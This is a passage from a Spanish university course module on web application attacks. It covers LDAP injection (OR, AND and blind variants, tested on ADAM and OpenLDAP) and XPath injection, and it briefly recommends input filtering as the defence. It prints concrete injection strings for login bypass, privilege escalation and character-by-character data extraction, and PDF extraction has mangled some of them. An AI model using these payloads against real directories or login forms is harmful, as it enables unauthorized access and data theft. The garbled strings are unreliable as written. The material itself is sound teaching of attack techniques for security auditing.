nal En Espantildea se regula la seguridad de los datos mediante la Ley Orgaacutenica
de Proteccioacuten de Datos (LOPD)
5)DenialofService Las vulnerabilidades de denegacioacuten de servicio son aque-
llas que interrumpen la continuidad de los procesos de negocio o servicio de
una compantildeiacutea Estas vulnerabilidades pueden suponer un serio impacto en
los intereses de las compantildeiacuteas Los ataques basados en ordenadores zombis (
botnets) los ataques de parada de servicios o los ataques a las liacuteneas de comu-
nicacioacuten de las empresas son objetivos de este tipo de ataques
6)Elevationofprivilege Se produce este fallo de seguridad cuando un usuario
puede cambiar su nivel de privilegios dentro de un sistema para acceder a
informacioacuten o servicios que estaacuten restringidos para su identidad La elevacioacuten
de privilegios es una vulnerabilidad que suele ser el origen de brechas que
conllevan a denegacioacuten de servicio o descubrimiento de informacioacuten
A partir de esta clasificacioacuten de ataques es posible estudiar en profundidad la
implementacioacuten de ataques reales que normalmente podriacutea aparecer simul-
taacuteneamente en varias de las categoriacuteas anteriores
CC-BY-NC-ND bull PID_00191662 28 Ataques a aplicaciones web
La inyeccioacuten de comandos es una teacutecnica de ataque a aplicaciones web cuyo
objetivo principal es aprovechar conexiones a bases de datos desde aplicacio-
nes web no securizadas para permitir a un atacante la ejecucioacuten de comandos
directamente en la base de datos
21 LDAP Injection
Vamos a mostrar las posibilidades y riesgos de los ataques LDAP Injection en
aplicaciones web Con estos ejemplos se quiere demostrar coacutemo es posible
realizar ataques de elevacioacuten de privilegios de salto de protecciones de acceso
y de acceso a datos en aacuterboles LDAP mediante el uso de inyecciones de coacutedigo
LDAP Estas inyecciones de coacutedigo se han clasificado en inyecciones
bull And LDAP Injection
bull OR LDAP Injection y
bull Blind LDAP Injection
Para probar estas teacutecnicas de inyeccioacuten se han utilizado los motores ADAM
de Microsoft y el motor OpenLDAP un producto Software Libre de amplia
implantacioacuten a nivel mundial
211 LDAP Injection con ADAM de Microsoft
Para realizar todas las pruebas de las cadenas a inyectar se ha utilizado la herra-
mienta LDAP Browser que permite conectarse a distintos aacuterboles LDAP y un
cliente web sinteacutetico creado con el componente IPWorksASPLDAP de la em-
presa n Software para realizar las pruebas de ejecucioacuten de filtros inyectados
En la figura 12 se muestra la estructura que se ha creado de ejemplo en ADAM
Figura 12 Estructura del aacuterbol LDAP creado en ADAM
CC-BY-NC-ND bull PID_00191662 29 Ataques a aplicaciones web
Supongamos ahora que la aplicacioacuten web utiliza una consulta con el siguiente
filtro (cn=Impresora_1) Al lanzar esta consulta se obtiene 1 objeto como
se puede ver en la figura 13
Figura 13 Objeto de respuesta con el filtro (cn=Impresora_1)
Lo deseable por un atacante que realice una inyeccioacuten seriacutea poder acceder a
toda la informacioacuten mediante la inclusioacuten de una consulta que nos devolviera
todas las impresoras En el ejemplo vemos cuaacutel deberiacutea ser el resultado a ob-
tener con una consulta siguiendo el formato definido en las RFC sobre ADAM
(|(cn=Impresora_1)(cn=Impresora))
CC-BY-NC-ND bull PID_00191662 30 Ataques a aplicaciones web
Figura 14 Todas las impresoras
Sin embargo como se puede apreciar para construir ese filtro necesitariacuteamos
inyectar un operador y un pareacutentesis al principio En el ejemplo la inyeccioacuten
no resulta ser muy uacutetil pues se estaacute realizando en ambas condicionantes sobre
cn pero ese filtro solo estaacute creado para ilustrar la necesidad de inyectar coacutedigo
antes del filtro y en el medio del filtro Si probamos la inyeccioacuten propuesta
por Sacha Faust en ADAM (cn=Impresora_1)(|(cn=Impresora))
Figura 15 Inyeccioacuten sin resultados
CC-BY-NC-ND bull PID_00191662 31 Ataques a aplicaciones web
Como se puede apreciar en la figura anterior en la uacuteltima prueba la inyeccioacuten
no produce ninguacuten error pero a diferencia de las pruebas que realiza Sacha
Faust con SunOne Directory Server 50 el servidor ADAM no devuelve maacutes
datos Es decir solo devuelve los datos del primer filtro completo y el resto de
la cadena es ignorado
212 LDAP Injection con OpenLDAP
Para realizar las pruebas de inyeccioacuten en OpenLDAP se ha utilizado el aacuterbol
que ofrece para aplicaciones de prueba el propio proyecto OpenLPADorg cuya
estructura es la siguiente
Figura 16 Estructura del aacuterbol LDAP en OpenLDAP
Sobre esta estructura ejecutamos una consulta para buscar a un usuario obte-
niendo un uacutenico objeto como resultado (uid=kurt)
CC-BY-NC-ND bull PID_00191662 32 Ataques a aplicaciones web
Figura 17 Al ejecutar el filtro (uid=kurt) obtenemos un uacutenico resultado
Si quisieacuteramos ampliar el nuacutemero de resultados siguiendo el formato definido
en el RFC deberiacuteamos ejecutar una consulta en la que inyectaacuteramos un opera-
dor OR y un filtro que incluyera todos los resultados como se puede ver en la
siguiente imagen (|(uid=kurt)(uid=))
Figura 18 Todos los usuarios
Si realizamos la inyeccioacuten tal y como propone Sacha Faust en su documento
sobre LDAP obtendriacuteamos los siguientes resultados (uid=kurt)(|(uid=))
CC-BY-NC-ND bull PID_00191662 33 Ataques a aplicaciones web
Figura 19 Inyeccioacuten OpenLDAP Se ignora el segundo filtro
Como puede apreciarse en la figura 19 el servidor OpenLDAP ha ignorado
el segundo filtro y solo ha devuelto un usuario de igual forma que realizaba
ADAM
213 Conclusiones
Tras realizar estas pruebas podemos extraer las siguientes conclusiones
bull Para realizar una inyeccioacuten de coacutedigo LDAP en una aplicacioacuten que trabaje
contra ADAM u OpenLDAP es necesario que el filtro original es decir el
del programador tenga un operador OR o AND A partir de este punto se
pueden realizar inyecciones de coacutedigo que permitan extraer informacioacuten
o realizar ataques blind es decir a ciegas
bull Es necesario que la consulta generada tras la inyeccioacuten esteacute correctamente
anidada en un uacutenico par de pareacutentesis general o bien que el componente
permita la ejecucioacuten con informacioacuten que no se va a utilizar a la derecha
del filtro
bull La inyeccioacuten que queda compuesta seguacuten el documento de Sacha Faust
puede ser vista de dos formas diferentes una primera en la que seriacutea vista
como un uacutenico filtro con un operador y otra en la que se interpretaraacute co-
mo la concatenacioacuten de dos filtros En el primer caso tendriacuteamos un filtro
mal compuesto Por otro lado si la inyeccioacuten se ve como dos filtros es-
tariacuteamos hablando de un comportamiento particular de algunos motores
LDAP (que no comparten con OpenLDAP ni con ADAM) y ademaacutes con
un segundo filtro con un operador el operador OR innecesario
CC-BY-NC-ND bull PID_00191662 34 Ataques a aplicaciones web
A partir de este punto vamos a analizar diferentes tipos de inyecciones LDAP
que pueden suponer un riesgo de seguridad en los sistemas LDAP que esteacuten
siendo accedidos por aplicaciones web ldquoORrdquo LDAP Injection ldquoANDrdquo LDAP In-
jection y Blind LDAP Injection
214 ldquoORrdquo LDAP Injection
En este entorno nos encontrariacuteamos con que el programador ha creado una
consulta LDAP con un operador OR y uno o los dos paraacutemetros son solicitados
al usuario
(|(atributo1=valor1)(atributo2=valor2))
Supongamos en el ejemplo del aacuterbol LDAP que tenemos una consulta inyec-
table del siguiente tipo (|(cn=D)(ou=Groups)) Es decir que devuelve to-
dos los objetos cuyo valor en ldquocnrdquo comience por ldquoDrdquo o cuyo valor en ldquoourdquo sea
ldquoGroupsrdquo Al ejecutarla obtenemos
Figura 20 Consulta OR sin inyeccioacuten
Si esta consulta sufriera una inyeccioacuten de coacutedigo en el primer paraacutemetro po-
driacuteamos realizar una consulta que nos devolviera la lista de usuarios almace-
nados Para ello realizamos la inyeccioacuten en el primer valor de la siguiente ca-
dena void)(uid=))(|(uid=
CC-BY-NC-ND bull PID_00191662 35 Ataques a aplicaciones web
Figura 21 Lista de usuarios obtenida tras la inyeccioacuten
Al formarse la consulta LDAP esta quedaraacute construida de la siguiente forma (|
(cn=void)(uid=))(|(uid=)(ou=Groups)) permitiendo obtener la lis-
ta de todos los usuarios del aacuterbol LDAP
Otro ejemplo de esta teacutecnica es la siguiente aplicacioacuten de gestioacuten interna en
este caso tenemos un aplicativo que lanza una consulta LDAP del siguiente
tipo
(|(type=outputDevices)(type=printer))
Figura 22 Listado de impresoras y dispositivos de salida
Si el paraacutemetro type que va por GET en la URL es inyectable un atacante podriacutea
modificar el filtro de consulta LDAP con una inyeccioacuten del siguiente tipo
CC-BY-NC-ND bull PID_00191662 36 Ataques a aplicaciones web
(|(type=outputDevices)(type=printer)(uid=))(|(type=void))
Con esa inyeccioacuten el atacante obtendriacutea en este ejemplo la lista de todos los
usuarios como se puede ver en la figura 23
Figura 23 Acceso al listado de usuarios mediante OR LDAP Injection
215 ldquoANDrdquo LDAP Injection
En el caso de inyecciones en consultas LDAP que lleven el operador AND el
atacante estaacute obligado a utilizar como valor en el primer atributo algo vaacutelido
pero se pueden utilizar las inyecciones para mediatizar los resultados y por
ejemplo realizar escaladas de privilegios En este caso nos encontrariacuteamos con
una consulta del siguiente tipo
(amp(atributo1=valor1)(atributo2=valor2))
Supongamos un entorno en el que se muestra la lista de todos los documentos
a los que un usuario con pocos privilegios tiene acceso mediante una consulta
que incluye el directorio de documentos en un paraacutemetro inyectable Es decir
la consulta original es
(amp(directorio=nombre_directorio)(nivel_seguridad=bajo))
Un atacante podriacutea construir una inyeccioacuten del siguiente modo para poder
acceder a los documentos de nivel de seguridad alto
(amp(directorio=almacen)(nivel_seguridad=alto))(|(directorio=almacen)(nivel_seguridad=bajo))
Para conseguir este resultado se habraacute inyectado en el nombre del directorio
la siguiente cadena
almacen)(nivel_seguridad=alto))(|(directorio=almacen
CC-BY-NC-ND bull PID_00191662 37 Ataques a aplicaciones web
Un ejemplo de este ataque se puede ver en la siguiente aplicacioacuten En primer
lugar se va a realizar un acceso no autorizado a la aplicacioacuten web utilizando
una inyeccioacuten que evite la comprobacioacuten de la contrasentildea La aplicacioacuten lanza
una consulta LDAP del tipo
(amp(uid=valor_de_user)(password=valor_de_password)
El atacante inyectando la cadena slisberger)(amp)) en el valor del USER
obtendriacutea una consulta LDAP que siempre devolveriacutea al usuario slisberger
y por lo tanto conseguiriacutea el acceso a la aplicacioacuten
Figura 24 Acceso no autorizado mediante AND LDAP Injection
Y como se puede ver en la figura 25 el usuario consigue acceso al directorio
privado del usuario slisberger En este caso se ha utilizado el filtro (amp)
que es el equivalente al valor TRUE en los filtros LDAP
Figura 25 Directorio home del usuario
Como se puede ver en este caso el usuario ha accedido con privilegios de nivel
bajo y en la aplicacioacuten de mostrar documentos que se describioacute al principio
de este apartado solo tendriacutea acceso a los documentos de nivel bajo como se
puede ver en la figura 26
CC-BY-NC-ND bull PID_00191662 38 Ataques a aplicaciones web
Figura 26 Listado de documentos de nivel bajo
La consulta que se estaacute ejecutando es
(amp(directory=nombre_directorio)(level=low))
El valor de level lo estaacute cogiendo la aplicacioacuten de las variables de sesioacuten del
servidor sin embargo un atacante podriacutea inyectar en el nombre del directorio
el siguiente comando Documents)(level=High) De esta forma el coman-
do que se ejecutariacutea seriacutea
(amp(directory=Documents)(level=High))(level=low))
Permitiendo al atacante acceder a todos los documentos Se ha producido una
elevacioacuten de privilegios
CC-BY-NC-ND bull PID_00191662 39 Ataques a aplicaciones web
Figura 27 Elevacioacuten de privilegios mediante AND LDAP Injection
22 Blind LDAP Injection
Una de las evoluciones de las inyecciones de comandos son las acciones a
ciegas los ataques ldquoblindrdquo Es comuacuten encontrarse ya documentados los ataques
Blind SQL Injection pero de los ataques Blind LDAP Injection sin embargo no
se ha hablado nada Tambieacuten es posible realizar un ataque a ciegas para extraer
informacioacuten de un aacuterbol LDAP
El entorno para realizar un ataque a ciegas suele ser una aplicacioacuten web que
cumple dos caracteriacutesticas
bull La aplicacioacuten no muestra los resultados obtenidos de la consulta realizada
al aacuterbol LDAP
bull El uso de los resultados produce cambios en la respuesta http que el cliente
recibe
Para realizar un ataque a ciegas necesitamos poder crear la loacutegica para extraer
informacioacuten cambiando los resultados obtenidos con el filtro LDAP y obser-
vando los cambios en las respuestas http
CC-BY-NC-ND bull PID_00191662 40 Ataques a aplicaciones web
221 Blind LDAP Injection en un entorno ldquoANDrdquo
En esta situacioacuten tenemos una consulta generada en el lado del servidor del
siguiente tipo
(amp(atributo1=valor1)(atributo2=valor2))
Para realizar la inyeccioacuten debemos tener en cuenta que en un entorno AND
tenemos un paraacutemetro fijo que nos va a condicionar El entorno ideal es que el
atributo1 sea lo maacutes general posible por ejemplo objectClass o cn con lo
que podremos seleccionar casi cualquier objeto del aacuterbol Despueacutes deberemos
aplicarle un valor que sea true es decir que siempre seleccione objetos para
tenerlo fijado a valor true y utilizar como segundo atributo uno conocido que
tambieacuten nos garantice que sea true
Supongamos la siguiente consulta LDAP
(amp(objectClass=Impresoras)(impresoraTipo=Epson))
Que se lanza para saber si en el almaceacuten de una empresa hay impresoras Epson
de tal manera que el programador si recibe alguacuten objeto simplemente pinta
en la paacutegina web un icono de una impresora Epson
Estaacute claro que lo maacuteximo que conseguiremos tras la inyeccioacuten es ver o no el
icono de la impresora Bien iexclpues a ello Fijemos la respuesta positiva tal y
como hemos dicho realizando una inyeccioacuten del siguiente tipo
(amp(objectClass=)(objectClass=))(amp(objectClass=void)(impresoraTipo=Epson))
Lo que estaacute puesto en negrita seriacutea la inyeccioacuten que introduciriacutea el atacante
Esta inyeccioacuten debe devolver siempre alguacuten objeto en el ejemplo planteado
en la respuesta http veriacuteamos un icono de la impresora A partir de ahiacute podriacutea-
mos extraer los tipos de objectClass que tenemos en nuestro aacuterbol LDAP
222 Reconocimiento de clases de objetos de un aacuterbol LDAP
Sabiendo que el filtro (objectClass=) siempre devuelve alguacuten objeto deberiacutea-
mos centrarnos en el segundo filtro realizando un recorrido de la siguiente
forma
(amp(objectClass=)(objectClass=users))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=personas))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=usuarios))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=logins))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=))(amp(objectClass=foo)(impresoraTipo=Epson))
CC-BY-NC-ND bull PID_00191662 41 Ataques a aplicaciones web
De tal manera que todas aquellas inyecciones que devolvieran el icono de la
impresora en la paacutegina web seriacutean respuestas afirmativas que nos indicariacutean
la existencia de ese tipo de objetos
Otra forma maacutes eficiente seriacutea realizando un barrido en el espectro del alfa-
beto de posibles valores utilizando una buacutesqueda con comodines para ello
realizariacuteamos un aacuterbol que comenzariacutea por todas las letras del abecedario de
la siguiente forma
(amp(objectClass=)(objectClass=a))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=b))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=z))(amp(objectClass=foo)(impresoraTipo=Epson))
De tal manera que seguiriacuteamos desplegando el aacuterbol de aquellas que hubieran
dado una respuesta positiva
(amp(objectClass=)(objectClass=aa))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=ab))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=az))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=ba))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=bb))(amp(objectClass=foo)(impresoraTipo=Epson))
Y asiacute sucesivamente con lo que desplegando siempre las positivas podriacuteamos
llegar a saber el nombre de todos los objetcClass de un sistema
Figura 28 Aacuterbol de despliegue Se profundizaraacute en todas las respuestas positivas (color verde)
Este mecanismo no solo funciona para objectClass sino que seriacutea vaacutelido
para cualquier atributo que un objeto compartiera con el atributo fijo Una
vez sacados los objectClass podriacuteamos proceder a realizar el mismo reco-
CC-BY-NC-ND bull PID_00191662 42 Ataques a aplicaciones web
rrido para extraer la informacioacuten de ellos por ejemplo si queremos extraer los
nombres de todos los usuarios de un sistema bastariacutea con realizar el barrido
con la siguiente inyeccioacuten
(amp(objectClass=user)(uid=a))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=user)(uid=b))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=user)(uid=z))(amp(objectClass=foo)(impresoraTipo=Epson))
Este meacutetodo obliga a hacer un recorrido en amplitud por un aacuterbol cuya posi-
bilidad de expandirse en cada nodo siempre es igual al alfabeto completo Se
puede reducir este alfabeto realizando un recorrido para averiguar queacute carac-
teres no estaacuten siendo utilizados en ninguna posicioacuten en ninguacuten objeto utili-
zando un recorrido de la siguiente forma
(amp(objectClass=user)(uid=a))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=user)(uid=b))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=user)(uid=z))(amp(objectClass=foo)(impresoraTipo=Epson))
De esta forma se pueden excluir del alfabeto aquellos caracteres que no hayan
devuelto un resultado positivo tras este primer recorrido Si deseaacuteramos bus-
car un uacutenico valor podriacuteamos realizar una buacutesqueda binaria de cada uno de
los caracteres utilizando los operadores relacionales lt= o gt= para reducir el
nuacutemero de peticiones
En los atributos que almacenan valores numeacutericos no es posible utilizar el co-
modiacuten para ldquobooleanizarrdquo la informacioacuten almacenada es por tanto necesa-
rio realizar la buacutesqueda de valores utilizando los operadores gt= y lt=
(amp(objectClass=user)(uid=kurt)(edadgt=1)(amp(objectClass=foo)(impresoraTipo=Epson))
223 Blind LDAP Injection en un entorno ldquoORrdquo
En esta situacioacuten tenemos una consulta generada en el lado del servidor del
siguiente tipo
(|(atributo1=valor1)(atributo2=valor2))
En este entorno la loacutegica que debemos utilizar es al contrario En lugar de fijar
el valor del primer filtro a un valor siempre cierto deberemos fijarlo a un valor
siempre falso y a partir de ahiacute extraer la informacioacuten es decir realizariacuteamos
una inyeccioacuten de la siguiente forma
(|(objectClass=void)(objectClass=void))(amp(objectClass=void)(impresoraTipo=Epson))
CC-BY-NC-ND bull PID_00191662 43 Ataques a aplicaciones web
Con esta inyeccioacuten obtendremos el valor negativo de referencia En el ejemplo
planteado de las impresoras disponibles deberemos obtener un resultado sin
el icono de la impresora Luego podremos inferir la informacioacuten cuando sea
verdadero el segundo filtro
(|(objectClass=void)(objectClass=users))(amp(objectClass=void)(impresoraTipo=Epson))
(|(objectClass=void)(objectClass=personas))(amp(objectClass=void)(impresoraTipo=Epson))
(|(objectClass=void)(objectClass=usuarios))(amp(objectClass=void)(impresoraTipo=Epson))
(|(objectClass=void)(objectClass=logins))(amp(objectClass=void)(impresoraTipo=Epson))
(|(objectClass=void)(objectClass=))(amp(objectClass=void)(impresoraTipo=Epson))
De igual forma que en el ejemplo con el operador AND podriacuteamos extraer toda
la informacioacuten del aacuterbol LDAP utilizando los comodines
224 Ejemplos Blind LDAP Injection
Para mostrar la potencia de los ataques Blind LDAP Injection se ha creado
dentro de un aacuterbol LDAP sobre ADAM una estructura con objetos Printer En
la siguiente figura se pueden ver los atributos de un objeto de tipo Printer
Figura 29 Aacuterbol LDAP sobre ADAM Objeto tipo Printer
Sobre este aacuterbol LDAP trabaja una aplicacioacuten web que se conecta entre otros
repositorios a este aacuterbol para obtener informacioacuten En este caso tenemos una
aplicacioacuten programada en php llamada printerstatusphp que recibe co-
mo paraacutemetro el nombre de la impresora y construye una consulta LDAP de
la siguiente forma
(amp(cn=HP Laserjet 2100)(objectclass=printer))
El resultado es una paacutegina web en la que se accede a propiedades de la impre-
sora en concreto
CC-BY-NC-ND bull PID_00191662 44 Ataques a aplicaciones web
Figura 30 Propiedades de la impresora HP LaserJet 2100
El paraacutemetro idprinter se utiliza para construir la consulta LDAP y es vul-
nerable a LDAP Injection sin embargo no se muestra ninguno de los datos de
los objetos que se puedan seleccionar con cualquier consulta ejecutada por
lo que uacutenicamente se puede realizar una explotacioacuten a ciegas Las siguientes
capturas muestran ejemplos de coacutemo extraer informacioacuten del aacuterbol LDAP me-
diante Blind LDAP Injection
1)Fase1descubrimientodeatributos
El atacante inyecta atributos para descubrir si existen o no Cuando el atributo
no existe la consulta LDAP no devuelve ninguacuten objeto y la aplicacioacuten no
muestra datos de ninguna impresora
Hay que tener en cuenta que el comodiacuten vale uacutenicamente para los valores de
tipo alfanumeacutericos luego si el atributo fuera de otro tipo no se podriacutea descubrir
asiacute Para los tipos numeacutericos y de tipo fecha se utilizan los operadores gt= lt=
o = y para los booleanos las constantes true y false
Figura 31 Atributo IPaddress no existe o no tiene valor alfanumeacuterico
En el siguiente ejemplo el atributo distinguisedname existe y ademaacutes es de
tipo alfanumeacuterico ya que funciona perfectamente con el comodiacuten ldquordquo Esto
se puede comprobar porque la paacutegina de resultados ha devuelto datos de la
impresora que se estaba utilizando
CC-BY-NC-ND bull PID_00191662 45 Ataques a aplicaciones web
Figura 32 Atributo distinguisedname existe y tiene valor alfanumeacuterico
Como se puede ver hay diferencias entre las paacuteginas que devuelven datos y las
que no con lo que se puede automatizar la extraccioacuten de toda la informacioacuten
y el descubrimiento de los atributos simplemente comparando los resultados
HTML obtenidos
En la figura 33 se obtiene de nuevo un resultado positivo que confirma la
existencia de un atributo department
Figura 33 Atributo Department existe y tiene valor Unicode extraiacuteble
2)Fase2reduccioacutendelalfabeto
Una de las opciones que se pueden sopesar es realizar una reduccioacuten del al-
fabeto posible de valores en un campo La idea consiste en saber si existe o
no un determinado caraacutecter en un atributo Si el atributo tiene 15 caracteres
de longitud y tenemos que probar por ejemplo 28 letras por 15 caracteres
tendriacutean que realizarse un total de 420 peticiones para extraer la informacioacuten
Sin embargo se puede realizar un recorrido que nos diga si una letra pertene-
ce o no al valor De esa manera realizariacuteamos primero 28 peticiones que nos
dejaraacuten en el peor de los casos una letra distinta por cada posicioacuten es decir
15 letras Luego en el peor de los casos tendriacuteamos 15 letras x 15 posiciones
+ 28 peticiones de reduccioacuten del alfabeto es decir 253 peticiones Ademaacutes se
puede inferir que si una letra ya ha sido utilizada puede que no se vuelva a
utilizar con lo que tendriacuteamos una reduccioacuten auacuten mayor si la letra se utiliza
como uacuteltima opcioacuten dejando la probabilidad en un sumatorio de 115 + 28
es decir 148 peticiones
CC-BY-NC-ND bull PID_00191662 46 Ataques a aplicaciones web
Como conclusioacuten se puede obtener que la reduccioacuten del alfabeto es una buena
opcioacuten a la hora de extraer valores de campos
En los siguientes ejemplos vamos a ver coacutemo averiguar si un caraacutecter pertenece
o no al valor del campo
Figura 34 La letra b no pertenece al valor del atributo department porque no se obtienendatos
Figura 35 La letra n siacute que pertenece al valor del atributo department porque siacute que seobtienen datos
Esta reduccioacuten dejariacutea un conjunto de valores vaacutelidos que pueden emplearse
para extraer el valor del dato mediante un proceso de despliegue
3)Fase3despliegue
En esta fase una vez reducido el alfabeto hay que ordenar las letras obtenidas
para ello comenzaremos un proceso desde la primera posicioacuten
Figura 36 El valor de department no comienza por la letra a porque no se obtienen datos
CC-BY-NC-ND bull PID_00191662 47 Ataques a aplicaciones web
Se iraacuten probando letras hasta que se obtenga un resultado positivo que con-
firme que con ese patroacuten se devuelven datos
Figura 37 El valor de department siacute comienza por la letra f porque siacute se obtienen datos
Una vez descubierta la primera letra esta se mantendraacute fija y se procederaacute a
buscar la segunda letra sustituyendo siempre los caracteres obtenidos en la
fase de reduccioacuten del alfabeto
Figura 38 El valor de department no comienza por las letras fa porque no se obtienen datos
Figura 39 El valor de department siacute que comienza por las letras fi porque siacute que se obtienendatos
Este proceso se repetiriacutea con todos los atributos descubiertos y hasta que se
hubieran descubierto todas las letras permitiendo extraer informacioacuten oculta
de los objetos del aacuterbol LDAP
LDAP es una tecnologiacutea en expansioacuten cuya implantacioacuten en los sistemas de di-
rectorio y metadirectorio la hacen cada diacutea maacutes popular Los entornos intranet
realizan uso intensivo de esta tecnologiacutea para ofrecer sistemas de Single Sing-
On e incluso es comuacuten encontrar entornos LDAP en los servicios de Internet
CC-BY-NC-ND bull PID_00191662 48 Ataques a aplicaciones web
Esta popularidad hace que sea necesario incluir las pruebas anteriores dentro
de los procesos de auditoriacutea de seguridad de las aplicaciones web Las pruebas
de inyecciones de auditoriacutea que se estaban realizando hoy en diacutea siguiendo
la documentacioacuten existente son de poca ayuda pues en los entornos maacutes
comunes como ADAM u OpenLDAP no funcionan
La solucioacuten para proteger las aplicaciones frente a este tipo de inyecciones
consiste como en otros entornos de explotacioacuten en filtrar los paraacutemetros en-
viados desde el cliente En este caso filtrar operadores pareacutentesis y comodines
para que nunca un atacante sea capaz de inyectar loacutegica dentro de nuestra
aplicacioacuten
23 XPath
XPath es un lenguaje que permite la buacutesqueda de informacioacuten en do-
cumentos XML por medio de expresiones especiacuteficas para su estructura
Estaacute pensado para optimizar los tiempos de buacutesqueda haciendo uso de
la organizacioacuten de nodos que poseen los ficheros XML
Como cualquier medio para el almacenamiento y buacutesqueda de datos es posi-
ble implementarlo en aplicaciones web de modo que pueden sustituir a los
SGBD (sistema gestor de base de datos) basados en SQL
231 XPath injection y Blind XPath Injection
XPath Injection es una vulnerabilidad que radica en la modificacioacuten de los
paraacutemetros de buacutesqueda a la hora de formar una query XPath
Una inyeccioacuten XPath sucede cuando se inserta coacutedigo XPath dentro de la sen-
tencia y ejecuta el coacutedigo inyectado dentro del motor de buacutesqueda XML
Este tipo de vulnerabilidades basadas en inyecciones (XPath Injection SQL
Injection LDAP Injection) son fallos de seguridad causados por una mala
programacioacuten de la aplicacioacuten que hace la conexioacuten contra el motor de buacutes-
queda sin importar que la aplicacioacuten sea de escritorio o web
Para conocer coacutemo funciona esta teacutecnica en mayor profundidad vamos a su-
poner un caso praacutectico Tenemos una aplicacioacuten web que hace una conexioacuten
contra un aacuterbol XML con la siguiente estructura
ltxml version=10 encoding=UTF-8gt
ltusuariosgt
ltusuario login=admin password=t1oviv0 nivel=3 gt
ltusuario login=usuario password=miPasswordXml nivel=1 gt
ltusuario login=invitado password=invitado nivel=0 gt
CC-BY-NC-ND bull PID_00191662 49 Ataques a aplicaciones web
ltusuariosgt
La aplicacioacuten web maneja un sistema de autenticacioacuten basado en XML donde
para realizar la autentificacioacuten tiene un formulario en el que solicita un usuario
y un password con los que posteriormente formara una query de XPath con
la siguiente estructura
string xpath = usuariosusuario[login= + usuario + and password= + password + ]
En un entorno seguro esta query de XPath no devolveraacute ninguacuten resultado posi-
tivo a no ser que el usuario y el password correspondan con los establecidos en
el documento XML pero si se trata de un entorno inseguro donde los campos
de entrada (usuario y password) no estaacuten filtrados seriacutea posible realizar una
inyeccioacuten
Si un usuario introdujera en el campo password un valor como abclsquo or
lsquoarsquo=rsquoarsquo or lsquoarsquo=rsquob seriacutea suficiente para saltarse el sistema de login y acceder
a la zona privada ya que el motor de buacutesqueda XML devolveriacutea un resultado
positivo Teniendo en cuenta que primero se evaluacutean los operadores AND y
posteriormente los OR el resultado booleano que tratariacutea el motor de buacutesque-
da seriacutea el que nos muestra el siguiente ejemplo
Figura 40 Evaluacioacuten de los paraacutemetros en XPath
Como hemos visto con este tipo de inyecciones es posible hacer modificacio-
nes en la query para obtener el resultado deseado (truefalse) pero es posible ir
mucho maacutes allaacute y averiguar la estructura del aacuterbol XML con todos sus nodos
atributos y elementos
Realizar este tipo de ataques es posible Se utiliza una variacioacuten de ldquoXPath
Injectionrdquo llamada ldquoBlind XPath Injectionrdquo la cual consiste en averiguar valores
del aacuterbol XML basaacutendose en el resultado booleano que devuelve la aplicacioacuten
vulnerable
Retomando el caso praacutectico anterior supongamos que cuando realizamos login
en la aplicacioacuten (introduciendo abclsquo or lsquoarsquo=rsquoarsquo or lsquoarsquo=rsquob) la aplicacioacuten
devuelve un mensaje de autentificacioacuten donde dice ldquoBienvenidordquo y en caso
de que la query XPath devuelva un resultado negativo (cuando se realiza una
inyeccioacuten que devuelva false) muestre un mensaje donde diga ldquoUsuario yo
password incorrectordquo
CC-BY-NC-ND bull PID_00191662 50 Ataques a aplicaciones web
En este caso nos encontramos claramente ante una aplicacioacuten vulnerable a
Blind XPath Injection pero si aun asiacute queremos estar seguros de que se trata de
un motor XML y no SQL podemos utilizar funciones como count() la
cual devuelve el nuacutemero total de nodos en el aacuterbol que siempre deberiacutea tener
al menos 1 nodo
bull Inyeccioacuten de cadena alsquo or count()gt0 or lsquoarsquo=rsquob
bull Inyeccioacuten numeacuterica 0 or count()gt0 or 1=1
Tambieacuten es posible la utilizacioacuten de operadores OR en mayuacutesculas ya que
estos no son aceptados en buacutesquedas XML y siacute que lo son en buacutesquedas SQL
(estas admiten operadores tanto en minuacutesculas como en mayuacutesculas) de tal
modo que se podriacutea concluir si el motor de buacutesqueda trabaja con XML
bull Motor SQL lsquo OR 1=1 OR lsquorsquo=rsquo
bull Motor SQLXML lsquo or 1=1 or lsquorsquo=rsquo
Si con esta prueba obtenemos un resultado positivo no hay duda de que es un
sistema XML es vulnerable y ademaacutes es posible extraer todo el aacuterbol XML
iquestcoacutemo utilizando teacutecnicas de ldquobooleanizacioacutenrdquo
El primer paso a la hora de empezar un ataque para descargarse el aacuterbol seriacutea
sacar los valores del nodo raiacutez que contiene el resto de los nodos Los pasos
que habriacutea que realizar seriacutean los siguientes
1) Extraer el nombre del nodo
2) Extraer los atributos del nodo
3) Comprobar si es un elemento3 En caso positivo obtener el valor
4) Calcular el nuacutemero de nodos hijos que contiene el nodo que se estaacute anali-
zando
5) Volver a realizar el paso lsquo1rsquo con los nodos extraiacutedos en el paso lsquo4rsquo
Para extraer el nombre del nodo primero seriacutea necesario calcular el nuacutemero de
caracteres del mismo Esto se puede hacer utilizando la funcioacuten string-length
[PATH]childnode()[position()=[NUMNODO] and string-length (name())gt[NUMERO]]
Donde [PATH] seriacutea el nodo a analizar [NUMNODO] el nuacutemero de nodo (ya
que puede haber varios nodos con el mismo nombre dentro del mismo padre)
y [NUMERO] seriacutea la longitud del nombre del nodo De este modo utilizando
fuerza bruta y teacutecnicas de optimizacioacuten como la buacutesqueda binaria seriacutea posi-
ble sacar la longitud del nombre de la siguiente manera
(3)Si el nodo es un elemento nopuede contener subnodos por loque los pasos 4 y 5 no se realiza-riacutean
CC-BY-NC-ND bull PID_00191662 51 Ataques a aplicaciones web
or childnode()[position()=1 and string-length(name())gt20] or 1=1 and =
